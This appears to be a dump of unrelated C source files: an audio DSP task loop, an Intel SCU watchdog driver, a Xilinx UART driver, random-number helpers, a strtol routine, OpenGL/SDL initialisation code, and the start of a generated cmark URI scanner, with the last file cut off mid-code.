PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * Author: Liam Girdwood <[email protected]> * * Generic audio task. */ #include <sof/task.h> #include <sof/wait.h> #include <sof/debug.h> #include <sof/timer.h> #include <sof/interrupt.h> #include <sof/ipc.h> #include <sof/agent.h> #include <platform/idc.h> #include <platform/interrupt.h> #include <sof/audio/pipeline.h> #include <sof/schedule.h> #include <sof/debug.h> #include <sof/trace.h> #include <stdint.h> #include <stdlib.h> #include <errno.h> static void sys_module_init(void) { extern intptr_t _module_init_start, _module_init_end; intptr_t *module_init = (intptr_t *)(&_module_init_start); for (; module_init < (intptr_t *)&_module_init_end; ++module_init) ((void(*)(void))(*module_init))(); } int do_task_master_core(struct sof *sof) { int ret; /* init default audio components */ sys_comp_init(); /* init self-registered modules */ sys_module_init(); #if STATIC_PIPE /* init static pipeline */ ret = init_static_pipeline(sof->ipc); if (ret < 0) panic(SOF_IPC_PANIC_TASK); #endif /* let host know DSP boot is complete */ ret = platform_boot_complete(0); if (ret < 0) return ret; /* main audio IPC processing loop */ while (1) { /* sleep until next IPC or DMA */ sa_enter_idle(sof); wait_for_interrupt(0); /* now process any IPC messages to host */ ipc_process_msg_queue(); /* schedule any idle tasks */ schedule(); } /* something bad happened */ return -EIO; } int do_task_slave_core(struct sof *sof) { /* main audio IDC processing loop */ while (1) { /* sleep until next IDC */ wait_for_interrupt(0); /* schedule any idle tasks */ schedule(); } /* something bad happened */ return -EIO; }
790981.c
/* * Intel_SCU 0.2: An Intel SCU IOH Based Watchdog Device * for Intel part #(s): * - AF82MP20 PCH * * Copyright (C) 2009-2010 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General * Public License as published by the Free Software Foundation. * * This program is distributed in the hope that it will be * useful, but WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR * PURPOSE. See the GNU General Public License for more details. * You should have received a copy of the GNU General Public * License along with this program; if not, write to the Free * Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. * The full GNU General Public License is included in this * distribution in the file called COPYING. * */ #include <linux/compiler.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/moduleparam.h> #include <linux/types.h> #include <linux/miscdevice.h> #include <linux/watchdog.h> #include <linux/fs.h> #include <linux/notifier.h> #include <linux/reboot.h> #include <linux/init.h> #include <linux/jiffies.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <linux/io.h> #include <linux/interrupt.h> #include <linux/delay.h> #include <linux/sched.h> #include <linux/signal.h> #include <linux/sfi.h> #include <asm/irq.h> #include <asm/atomic.h> #include <asm/intel_scu_ipc.h> #include <asm/apb_timer.h> #include <asm/mrst.h> #include "intel_scu_watchdog.h" /* Bounds number of times we will retry loading time count */ /* This retry is a work around for a silicon bug. */ #define MAX_RETRY 16 #define IPC_SET_WATCHDOG_TIMER 0xF8 static int timer_margin = DEFAULT_SOFT_TO_HARD_MARGIN; module_param(timer_margin, int, 0); MODULE_PARM_DESC(timer_margin, "Watchdog timer margin" "Time between interrupt and resetting the system" "The range is from 1 to 160" "This is the time for all keep alives to arrive"); static int timer_set = DEFAULT_TIME; module_param(timer_set, int, 0); MODULE_PARM_DESC(timer_set, "Default Watchdog timer setting" "Complete cycle time" "The range is from 1 to 170" "This is the time for all keep alives to arrive"); /* After watchdog device is closed, check force_boot. If: * force_boot == 0, then force boot on next watchdog interrupt after close, * force_boot == 1, then force boot immediately when device is closed. */ static int force_boot; module_param(force_boot, int, 0); MODULE_PARM_DESC(force_boot, "A value of 1 means that the driver will reboot" "the system immediately if the /dev/watchdog device is closed" "A value of 0 means that when /dev/watchdog device is closed" "the watchdog timer will be refreshed for one more interval" "of length: timer_set. At the end of this interval, the" "watchdog timer will reset the system." ); /* there is only one device in the system now; this can be made into * an array in the future if we have more than one device */ static struct intel_scu_watchdog_dev watchdog_device; /* Forces restart, if force_reboot is set */ static void watchdog_fire(void) { if (force_boot) { printk(KERN_CRIT PFX "Initiating system reboot.\n"); emergency_restart(); printk(KERN_CRIT PFX "Reboot didn't ?????\n"); } else { printk(KERN_CRIT PFX "Immediate Reboot Disabled\n"); printk(KERN_CRIT PFX "System will reset when watchdog timer times out!\n"); } } static int check_timer_margin(int new_margin) { if ((new_margin < MIN_TIME_CYCLE) || (new_margin > MAX_TIME - timer_set)) { pr_debug("Watchdog timer: value of new_margin %d is out of the range %d to %d\n", new_margin, MIN_TIME_CYCLE, MAX_TIME - timer_set); return -EINVAL; } return 0; } /* * IPC operations */ static int watchdog_set_ipc(int soft_threshold, int threshold) { u32 *ipc_wbuf; u8 cbuf[16] = { '\0' }; int ipc_ret = 0; ipc_wbuf = (u32 *)&cbuf; ipc_wbuf[0] = soft_threshold; ipc_wbuf[1] = threshold; ipc_ret = intel_scu_ipc_command( IPC_SET_WATCHDOG_TIMER, 0, ipc_wbuf, 2, NULL, 0); if (ipc_ret != 0) pr_err("Error setting SCU watchdog timer: %x\n", ipc_ret); return ipc_ret; }; /* * Intel_SCU operations */ /* timer interrupt handler */ static irqreturn_t watchdog_timer_interrupt(int irq, void *dev_id) { int int_status; int_status = ioread32(watchdog_device.timer_interrupt_status_addr); pr_debug("Watchdog timer: irq, int_status: %x\n", int_status); if (int_status != 0) return IRQ_NONE; /* has the timer been started? If not, then this is spurious */ if (watchdog_device.timer_started == 0) { pr_debug("Watchdog timer: spurious interrupt received\n"); return IRQ_HANDLED; } /* temporarily disable the timer */ iowrite32(0x00000002, watchdog_device.timer_control_addr); /* set the timer to the threshold */ iowrite32(watchdog_device.threshold, watchdog_device.timer_load_count_addr); /* allow the timer to run */ iowrite32(0x00000003, watchdog_device.timer_control_addr); return IRQ_HANDLED; } static int intel_scu_keepalive(void) { /* read eoi register - clears interrupt */ ioread32(watchdog_device.timer_clear_interrupt_addr); /* temporarily disable the timer */ iowrite32(0x00000002, watchdog_device.timer_control_addr); /* set the timer to the soft_threshold */ iowrite32(watchdog_device.soft_threshold, watchdog_device.timer_load_count_addr); /* allow the timer to run */ iowrite32(0x00000003, watchdog_device.timer_control_addr); return 0; } static int intel_scu_stop(void) { iowrite32(0, watchdog_device.timer_control_addr); return 0; } static int intel_scu_set_heartbeat(u32 t) { int ipc_ret; int retry_count; u32 soft_value; u32 hw_pre_value; u32 hw_value; watchdog_device.timer_set = t; watchdog_device.threshold = timer_margin * watchdog_device.timer_tbl_ptr->freq_hz; watchdog_device.soft_threshold = (watchdog_device.timer_set - timer_margin) * watchdog_device.timer_tbl_ptr->freq_hz; pr_debug("Watchdog timer: set_heartbeat: timer freq is %d\n", watchdog_device.timer_tbl_ptr->freq_hz); pr_debug("Watchdog timer: set_heartbeat: timer_set is %x (hex)\n", watchdog_device.timer_set); pr_debug("Watchdog timer: set_hearbeat: timer_margin is %x (hex)\n", timer_margin); pr_debug("Watchdog timer: set_heartbeat: threshold is %x (hex)\n", watchdog_device.threshold); pr_debug("Watchdog timer: set_heartbeat: soft_threshold is %x (hex)\n", watchdog_device.soft_threshold); /* Adjust thresholds by FREQ_ADJUSTMENT factor, to make the */ /* watchdog timing come out right. */ watchdog_device.threshold = watchdog_device.threshold / FREQ_ADJUSTMENT; watchdog_device.soft_threshold = watchdog_device.soft_threshold / FREQ_ADJUSTMENT; /* temporarily disable the timer */ iowrite32(0x00000002, watchdog_device.timer_control_addr); /* send the threshold and soft_threshold via IPC to the processor */ ipc_ret = watchdog_set_ipc(watchdog_device.soft_threshold, watchdog_device.threshold); if (ipc_ret != 0) { /* Make sure the watchdog timer is stopped */ intel_scu_stop(); return ipc_ret; } /* Soft Threshold set loop. Early versions of silicon did */ /* not always set this count correctly. This loop checks */ /* the value and retries if it was not set correctly. */ retry_count = 0; soft_value = watchdog_device.soft_threshold & 0xFFFF0000; do { /* Make sure timer is stopped */ intel_scu_stop(); if (MAX_RETRY < retry_count++) { /* Unable to set timer value */ pr_err("Watchdog timer: Unable to set timer\n"); return -ENODEV; } /* set the timer to the soft threshold */ iowrite32(watchdog_device.soft_threshold, watchdog_device.timer_load_count_addr); /* read count value before starting timer */ hw_pre_value = ioread32(watchdog_device.timer_load_count_addr); hw_pre_value = hw_pre_value & 0xFFFF0000; /* Start the timer */ iowrite32(0x00000003, watchdog_device.timer_control_addr); /* read the value the time loaded into its count reg */ hw_value = ioread32(watchdog_device.timer_load_count_addr); hw_value = hw_value & 0xFFFF0000; } while (soft_value != hw_value); watchdog_device.timer_started = 1; return 0; } /* * /dev/watchdog handling */ static int intel_scu_open(struct inode *inode, struct file *file) { /* Set flag to indicate that watchdog device is open */ if (test_and_set_bit(0, &watchdog_device.driver_open)) return -EBUSY; /* Check for reopen of driver. Reopens are not allowed */ if (watchdog_device.driver_closed) return -EPERM; return nonseekable_open(inode, file); } static int intel_scu_release(struct inode *inode, struct file *file) { /* * This watchdog should not be closed, after the timer * is started with the WDIPC_SETTIMEOUT ioctl * If force_boot is set watchdog_fire() will cause an * immediate reset. If force_boot is not set, the watchdog * timer is refreshed for one more interval. At the end * of that interval, the watchdog timer will reset the system. */ if (!test_and_clear_bit(0, &watchdog_device.driver_open)) { pr_debug("Watchdog timer: intel_scu_release, without open\n"); return -ENOTTY; } if (!watchdog_device.timer_started) { /* Just close, since timer has not been started */ pr_debug("Watchdog timer: closed, without starting timer\n"); return 0; } printk(KERN_CRIT PFX "Unexpected close of /dev/watchdog!\n"); /* Since the timer was started, prevent future reopens */ watchdog_device.driver_closed = 1; /* Refresh the timer for one more interval */ intel_scu_keepalive(); /* Reboot system (if force_boot is set) */ watchdog_fire(); /* We should only reach this point if force_boot is not set */ return 0; } static ssize_t intel_scu_write(struct file *file, char const *data, size_t len, loff_t *ppos) { if (watchdog_device.timer_started) /* Watchdog already started, keep it alive */ intel_scu_keepalive(); else /* Start watchdog with timer value set by init */ intel_scu_set_heartbeat(watchdog_device.timer_set); return len; } static long intel_scu_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { void __user *argp = (void __user *)arg; u32 __user *p = argp; u32 new_margin; static const struct watchdog_info ident = { .options = WDIOF_SETTIMEOUT | WDIOF_KEEPALIVEPING, .firmware_version = 0, /* @todo Get from SCU via ipc_get_scu_fw_version()? */ .identity = "Intel_SCU IOH Watchdog" /* len < 32 */ }; switch (cmd) { case WDIOC_GETSUPPORT: return copy_to_user(argp, &ident, sizeof(ident)) ? -EFAULT : 0; case WDIOC_GETSTATUS: case WDIOC_GETBOOTSTATUS: return put_user(0, p); case WDIOC_KEEPALIVE: intel_scu_keepalive(); return 0; case WDIOC_SETTIMEOUT: if (get_user(new_margin, p)) return -EFAULT; if (check_timer_margin(new_margin)) return -EINVAL; if (intel_scu_set_heartbeat(new_margin)) return -EINVAL; return 0; case WDIOC_GETTIMEOUT: return put_user(watchdog_device.soft_threshold, p); default: return -ENOTTY; } } /* * Notifier for system down */ static int intel_scu_notify_sys(struct notifier_block *this, unsigned long code, void *another_unused) { if (code == SYS_DOWN || code == SYS_HALT) /* Turn off the watchdog timer. */ intel_scu_stop(); return NOTIFY_DONE; } /* * Kernel Interfaces */ static const struct file_operations intel_scu_fops = { .owner = THIS_MODULE, .llseek = no_llseek, .write = intel_scu_write, .unlocked_ioctl = intel_scu_ioctl, .open = intel_scu_open, .release = intel_scu_release, }; static int __init intel_scu_watchdog_init(void) { int ret; u32 __iomem *tmp_addr; /* * We don't really need to check this as the SFI timer get will fail * but if we do so we can exit with a clearer reason and no noise. * * If it isn't an intel MID device then it doesn't have this watchdog */ if (!mrst_identify_cpu()) return -ENODEV; /* Check boot parameters to verify that their initial values */ /* are in range. */ /* Check value of timer_set boot parameter */ if ((timer_set < MIN_TIME_CYCLE) || (timer_set > MAX_TIME - MIN_TIME_CYCLE)) { pr_err("Watchdog timer: value of timer_set %x (hex) " "is out of range from %x to %x (hex)\n", timer_set, MIN_TIME_CYCLE, MAX_TIME - MIN_TIME_CYCLE); return -EINVAL; } /* Check value of timer_margin boot parameter */ if (check_timer_margin(timer_margin)) return -EINVAL; watchdog_device.timer_tbl_ptr = sfi_get_mtmr(sfi_mtimer_num-1); if (watchdog_device.timer_tbl_ptr == NULL) { pr_debug("Watchdog timer - Intel SCU watchdog: timer is not available\n"); return -ENODEV; } /* make sure the timer exists */ if (watchdog_device.timer_tbl_ptr->phys_addr == 0) { pr_debug("Watchdog timer - Intel SCU watchdog - timer %d does not have valid physical memory\n", sfi_mtimer_num); return -ENODEV; } if (watchdog_device.timer_tbl_ptr->irq == 0) { pr_debug("Watchdog timer: timer %d invalid irq\n", sfi_mtimer_num); return -ENODEV; } tmp_addr = ioremap_nocache(watchdog_device.timer_tbl_ptr->phys_addr, 20); if (tmp_addr == NULL) { pr_debug("Watchdog timer: timer unable to ioremap\n"); return -ENOMEM; } watchdog_device.timer_load_count_addr = tmp_addr++; watchdog_device.timer_current_value_addr = tmp_addr++; watchdog_device.timer_control_addr = tmp_addr++; watchdog_device.timer_clear_interrupt_addr = tmp_addr++; watchdog_device.timer_interrupt_status_addr = tmp_addr++; /* Set the default time values in device structure */ watchdog_device.timer_set = timer_set; watchdog_device.threshold = timer_margin * watchdog_device.timer_tbl_ptr->freq_hz; watchdog_device.soft_threshold = (watchdog_device.timer_set - timer_margin) * watchdog_device.timer_tbl_ptr->freq_hz; watchdog_device.intel_scu_notifier.notifier_call = intel_scu_notify_sys; ret = register_reboot_notifier(&watchdog_device.intel_scu_notifier); if (ret) { pr_err("Watchdog timer: cannot register notifier %d)\n", ret); goto register_reboot_error; } watchdog_device.miscdev.minor = WATCHDOG_MINOR; watchdog_device.miscdev.name = "watchdog"; watchdog_device.miscdev.fops = &intel_scu_fops; ret = misc_register(&watchdog_device.miscdev); if (ret) { pr_err("Watchdog timer: cannot register miscdev %d err =%d\n", WATCHDOG_MINOR, ret); goto misc_register_error; } ret = request_irq((unsigned int)watchdog_device.timer_tbl_ptr->irq, watchdog_timer_interrupt, IRQF_SHARED, "watchdog", &watchdog_device.timer_load_count_addr); if (ret) { pr_err("Watchdog timer: error requesting irq %d\n", ret); goto request_irq_error; } /* Make sure timer is disabled before returning */ intel_scu_stop(); return 0; /* error cleanup */ request_irq_error: misc_deregister(&watchdog_device.miscdev); misc_register_error: unregister_reboot_notifier(&watchdog_device.intel_scu_notifier); register_reboot_error: intel_scu_stop(); iounmap(watchdog_device.timer_load_count_addr); return ret; } static void __exit intel_scu_watchdog_exit(void) { misc_deregister(&watchdog_device.miscdev); unregister_reboot_notifier(&watchdog_device.intel_scu_notifier); /* disable the timer */ iowrite32(0x00000002, watchdog_device.timer_control_addr); iounmap(watchdog_device.timer_load_count_addr); } late_initcall(intel_scu_watchdog_init); module_exit(intel_scu_watchdog_exit); MODULE_AUTHOR("Intel Corporation"); MODULE_DESCRIPTION("Intel SCU Watchdog Device Driver"); MODULE_LICENSE("GPL"); MODULE_ALIAS_MISCDEV(WATCHDOG_MINOR); MODULE_VERSION(WDT_VER);
1005068.c
/****************************************************************************** * Copyright (C) 2002 - 2021 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /*****************************************************************************/ /** * * @file xuartns550_l.c * @addtogroup uartns550_v3_8 * @{ * * This file contains low-level driver functions that can be used to access the * device. The user should refer to the hardware device specification for more * details of the device operation. * * <pre> * MODIFICATION HISTORY: * * Ver Who Date Changes * ----- ---- -------- ----------------------------------------------- * 1.00b jhl 04/24/02 First release * 1.11a sv 03/20/07 Updated to use the new coding guidelines. * 2.00a sdm 09/22/09 Converted all register accesses to 32 bit access. * 2.00a ktn 10/20/09 Converted all register accesses to 32 bit access. * Updated to use HAL Processor APIs. _m is removed from the * name of all the macro definitions. * 3.3 nsk 04/13/15 Fixed Clock Divisor Enhancement. * (CR 857013) * 3.4 sk 11/10/15 Used UINTPTR instead of u32 for Baseaddress CR# 867425. * Changed the prototypes of XUartNs550_SendByte, * XUartNs550_RecvByte, XUartNs550_SetBaud APIs. * 3.6 sd 03/02/20 Updated the register macros for DRL and DRM registers. * </pre> * ******************************************************************************/ /***************************** Include Files *********************************/ #include "xuartns550_l.h" /************************** Constant Definitions *****************************/ /**************************** Type Definitions *******************************/ /***************** Macros (Inline Functions) Definitions *********************/ /************************** Function Prototypes ******************************/ /************************** Variable Definitions *****************************/ /****************************************************************************/ /** * * This function sends a data byte with the UART. This function operates in the * polling mode and blocks until the data has been put into the UART transmit * holding register. * * @param BaseAddress contains the base address of the UART. * @param Data contains the data byte to be sent. * * @return None. * * @note None. * *****************************************************************************/ void XUartNs550_SendByte(UINTPTR BaseAddress, u8 Data) { /* * Wait til we know that the byte can be sent, the 550 does not have any * way to tell how much room is in the FIFO such that we must wait for * it to be empty */ while (!XUartNs550_IsTransmitEmpty(BaseAddress)); /* * Write the data byte to the UART to be transmitted */ XUartNs550_WriteReg(BaseAddress, XUN_THR_OFFSET, (u32)Data); } /****************************************************************************/ /** * * This function receives a byte from the UART. It operates in a polling mode * and blocks until a byte of data is received. * * @param BaseAddress contains the base address of the UART. * * @return The data byte received by the UART. * * @note None. * *****************************************************************************/ u8 XUartNs550_RecvByte(UINTPTR BaseAddress) { /* * Wait for there to be data received */ while (!XUartNs550_IsReceiveData(BaseAddress)); /* * Return the next data byte the UART received */ return (u8) XUartNs550_ReadReg(BaseAddress, XUN_RBR_OFFSET); } /****************************************************************************/ /** * * Set the baud rate for the UART. * * @param BaseAddress contains the base address of the UART. * @param InputClockHz is the frequency of the input clock to the device * in Hertz. * @param BaudRate is the baud rate to be set. * * @return None. * * @note None. * *****************************************************************************/ void XUartNs550_SetBaud(UINTPTR BaseAddress, u32 InputClockHz, u32 BaudRate) { u32 BaudLSB; u32 BaudMSB; u32 LcrRegister; u32 Divisor; /* * Determine what the divisor should be to get the specified baud * rater based upon the input clock frequency and a baud clock prescaler * of 16 */ Divisor = ((InputClockHz +((BaudRate * 16UL)/2)) / (BaudRate * 16UL)); /* * Get the least significant and most significant bytes of the divisor * so they can be written to 2 byte registers */ BaudLSB = Divisor & XUN_DIVISOR_BYTE_MASK; BaudMSB = (Divisor >> 8) & XUN_DIVISOR_BYTE_MASK; /* * Get the line control register contents and set the divisor latch * access bit so the baud rate can be set */ LcrRegister = XUartNs550_GetLineControlReg(BaseAddress); XUartNs550_SetLineControlReg(BaseAddress, LcrRegister | XUN_LCR_DLAB); /* * Set the baud Divisors to set rate, the initial write of 0xFF is to * keep the divisor from being 0 which is not recommended as per the * NS16550D spec sheet */ XUartNs550_WriteReg(BaseAddress, XUN_DLL_OFFSET, 0xFF); XUartNs550_WriteReg(BaseAddress, XUN_DLM_OFFSET, BaudMSB); XUartNs550_WriteReg(BaseAddress, XUN_DLL_OFFSET, BaudLSB); /* * Clear the Divisor latch access bit, DLAB to allow nornal * operation and write to the line control register */ XUartNs550_SetLineControlReg(BaseAddress, LcrRegister); } /** @} */
756809.c
// // Random.c // // 2015 Abel Carreras // #include <stdio.h> #include <stdlib.h> #include <time.h> // Initaialize random seed static int random_seed_montecarlo; const long key2; void random_seed() { random_seed_montecarlo = (int)clock(); srand((int)random_seed_montecarlo); } // Algorithm 1 (Standard c random algorithm) double ran1(){ return (double)((double)rand()/((double)RAND_MAX)); } // Algorithm 2 (Very simple just for illustrating) double ran2() { long lim = 1234567898; static long a = (long)&random_seed_montecarlo; a = (a * 32719 + 3) % 32749; return (double)((a % lim) + 1)/(double)lim; } // Algorithm 3 (Very simple just for illustrating) double ran3() { long lim = 1234567898; static long a = (long)&random_seed_montecarlo; a = (a * 125) % 2796203; return ((double)(a % lim) + 1)/(double)lim; } // Algorithm 4 (Very simple just for illustrating) double ran4() { long lim = 1234567898; static long a = (long)&random_seed_montecarlo; a = (((a * 214013L + 2531011L) >> 16) & 32767); return (double)((a % lim) + 1)/(double)lim; } // Random functions wrapper (Change function calling here to use other random funtion) double RandomRange(double inf , double sup){ return (double)ran1()*(sup-inf)+inf; }
127479.c
/* * Author: Andrew Wesie <[email protected]> * * Copyright (c) 2014 Kaprica Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * */ #include "libcgc.h" #include "cgc_ctype.h" #include "cgc_string.h" long cgc_strtol(const char *str, char **endptr, int base) { const char *orig = str; int c, neg = 0; const char *alphabet = "0123456789abcdefghijklmnopqrstuvwxyz"; long val = 0; if (base != 0 && (base < 2 || base > 36)) return 0; /* skip whitespace */ while (*str && cgc_isspace(*str)) str++; /* parse potential -/+ (default to positive) */ if (*str == '-') { neg = 1; str++; } else if (*str == '+') { str++; } /* parse prefix (0x, 0) */ if (base == 0 || base == 16) { if (str[0] == '0' && str[1] == 'x') { base = 16; str += 2; } } if (base == 0) { if (str[0] == '0') base = 8; } if (base == 0) base = 10; const char *begin = str; /* parse number */ while ((c = *str)) { /* search for c */ const char *idx = cgc_memchr(alphabet, cgc_tolower(c), base); if (idx == NULL) break; /* XXX clamp to LONG_MAX / LONG_MIN */ val = val * base + (idx - alphabet); str++; } if (begin == str) { str = orig; val = 0; } if (endptr) *endptr = (char *)str; if (neg) return -val; else return val; } unsigned long cgc_strtoul(const char *str, char **endptr, int base) { return (unsigned long)cgc_strtol(str, endptr, base); }
628372.c
#include "opengl_simple_render.h" static int init_glew_gl() { glewExperimental = GL_TRUE; if (glewInit() != GLEW_OK) { printf("GLEW: %s\n", glewGetErrorString(glewInit())); return (ft_log_error("FAILED INIT GLEW", -1)); } glClearColor(0.09f, 0.08f, 0.15f, 1.f); glEnable(GL_DEPTH_TEST); return (1); } static int init_scenes(t_glsr_main *main, t_raw_main *raw_main) { if (!(main->scenes = (t_scene *)ft_memalloc(sizeof(t_scene) * raw_main->scenes_num))) return (ft_log_error("FAILED MALLOC", -1)); main->scenes_num = raw_main->scenes_num; for (int i = 0; i < raw_main->scenes_num; i++) { if (!(main->scenes[i].objects = (t_object *)ft_memalloc(sizeof(t_object) * raw_main->scenes[i].objs_num))) return (ft_log_error("FAILED MALLOC", -1)); main->scenes[i].objects_num = raw_main->scenes[i].objs_num; for (int j = 0; j < main->scenes[i].objects_num; j++) if (create_object_from_raw(&(main->scenes[i].objects[j]), &(raw_main->scenes[i].objs[j])) < 0) return (ft_log_error("FAILED CREATE OBJECT", -1)); main->scenes[i].projection = mvm_perspective( 66.f, (float)main->win_w / (float)main->win_h, 0.1f, 100.f); main->scenes[i].projection_type = GLSR_PERSPECTIVE; } return (1); } void free_raw_main(t_raw_main *raw_main) { t_raw_scene scene; free(raw_main->win_title); for (int i = 0; i < raw_main->scenes_num; i++) { scene = raw_main->scenes[i]; for (int j = 0; j < scene.objs_num; j++) { free(scene.objs[j].model_path); free(scene.objs[j].material_path); free(scene.objs[j].fragment_path); free(scene.objs[j].vertex_path); } free(scene.objs); } free(raw_main->scenes); ft_bzero(raw_main, sizeof(t_raw_main)); } int init_sdl(t_glsr_main *main, t_raw_main *raw_main) { int error; error = SDL_Init(SDL_INIT_VIDEO); if (error < 0) return (ft_log_error("failed sdl init", -1)); SDL_GL_SetAttribute( SDL_GL_CONTEXT_MAJOR_VERSION, 4 ); SDL_GL_SetAttribute( SDL_GL_CONTEXT_MINOR_VERSION, 1 ); SDL_GL_SetAttribute( SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE ); SDL_GL_SetAttribute(SDL_GL_DOUBLEBUFFER, SDL_TRUE); SDL_GL_SetAttribute(SDL_GL_DEPTH_SIZE, 32); SDL_GL_SetSwapInterval(1); main->window = SDL_CreateWindow(raw_main->win_title, SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, raw_main->win_w, raw_main->win_h, SDL_WINDOW_OPENGL | SDL_WINDOW_SHOWN | SDL_WINDOW_ALLOW_HIGHDPI); if (main->window == NULL) return (ft_log_error("failed init window", -1)); main->cur_keys_map = SDL_GetKeyboardState(NULL); SDL_GetWindowSize(main->window, &main->win_w, &main->win_h); SDL_GL_CreateContext(main->window); return (1); } int init(t_glsr_main *main, const char *config_path) { t_raw_main raw_main; ft_bzero(main, sizeof(t_glsr_main)); ft_bzero(&raw_main, sizeof(t_raw_main)); if (pfj_parse_main(&raw_main, config_path) < 0) return (ft_log_error("FAILED PARSE JSON", -1)); if (init_sdl(main, &raw_main) < 0) return (ft_log_error("FAILED SDL", -1)); if (init_glew_gl() < 0) return (ft_log_error("FAILED GLEW", -1)); if (init_scenes(main, &raw_main) < 0) return (ft_log_error("FAILED INIT SCENES", -1)); free_raw_main(&raw_main); return (1); }
468120.c
/* Generated by re2c */ // re2c $INPUT -o $OUTPUT -bi --case-insensitive #include <stdlib.h> #include "chunk.h" #include "scanners.h" int _scan_at(int (*scanner)(const unsigned char *), cmark_chunk *c, int offset) { int res; unsigned char *ptr = (unsigned char *)c->data; unsigned char lim = ptr[c->len]; ptr[c->len] = '\0'; res = scanner(ptr + offset); ptr[c->len] = lim; return res; } // Try to match URI autolink after first <, returning number of chars matched. int _scan_autolink_uri(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 0, 128, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, }; yych = *p; switch (yych) { case '\n': goto yy2; case 'A': case 'a': goto yy4; case 'B': case 'b': goto yy5; case 'C': case 'c': goto yy6; case 'D': case 'd': goto yy7; case 'E': case 'e': goto yy8; case 'F': case 'f': goto yy9; case 'G': case 'g': goto yy10; case 'H': case 'h': goto yy11; case 'I': case 'i': goto yy12; case 'J': case 'j': goto yy13; case 'K': case 'k': goto yy14; case 'L': case 'l': goto yy15; case 'M': case 'm': goto yy16; case 'N': case 'n': goto yy17; case 'O': case 'o': goto yy18; case 'P': case 'p': goto yy19; case 'Q': case 'q': goto yy20; case 'R': case 'r': goto yy21; case 'S': case 's': goto yy22; case 'T': case 't': goto yy23; case 'U': case 'u': goto yy24; case 'V': case 'v': goto yy25; case 'W': case 'w': goto yy26; case 'X': case 'x': goto yy27; case 'Y': case 'y': goto yy28; case 'Z': case 'z': goto yy29; default: goto yy3; } yy2: { return 0; } yy3: ++p; goto yy2; yy4: yych = *(marker = ++p); switch (yych) { case 'A': case 'a': goto yy30; case 'B': case 'b': goto yy32; case 'C': case 'c': goto yy33; case 'D': case 'd': goto yy34; case 'F': case 'f': goto yy35; case 'I': case 'i': goto yy36; case 'P': case 'p': goto yy37; case 'T': case 't': goto yy38; case 'W': case 'w': goto yy39; default: goto yy2; } yy5: yych = *(marker = ++p); if (yych <= 'O') { if (yych <= 'H') { if (yych == 'E') goto yy40; goto yy2; } else { if (yych <= 'I') goto yy41; if (yych <= 'N') goto yy2; goto yy42; } } else { if (yych <= 'h') { if (yych == 'e') goto yy40; goto yy2; } else { if (yych <= 'i') goto yy41; if (yych == 'o') goto yy42; goto yy2; } } yy6: yych = *(marker = ++p); switch (yych) { case 'A': case 'a': goto yy43; case 'H': case 'h': goto yy44; case 'I': case 'i': goto yy45; case 'O': case 'o': goto yy46; case 'R': case 'r': goto yy47; case 'V': case 'v': goto yy48; default: goto yy2; } yy7: yych = 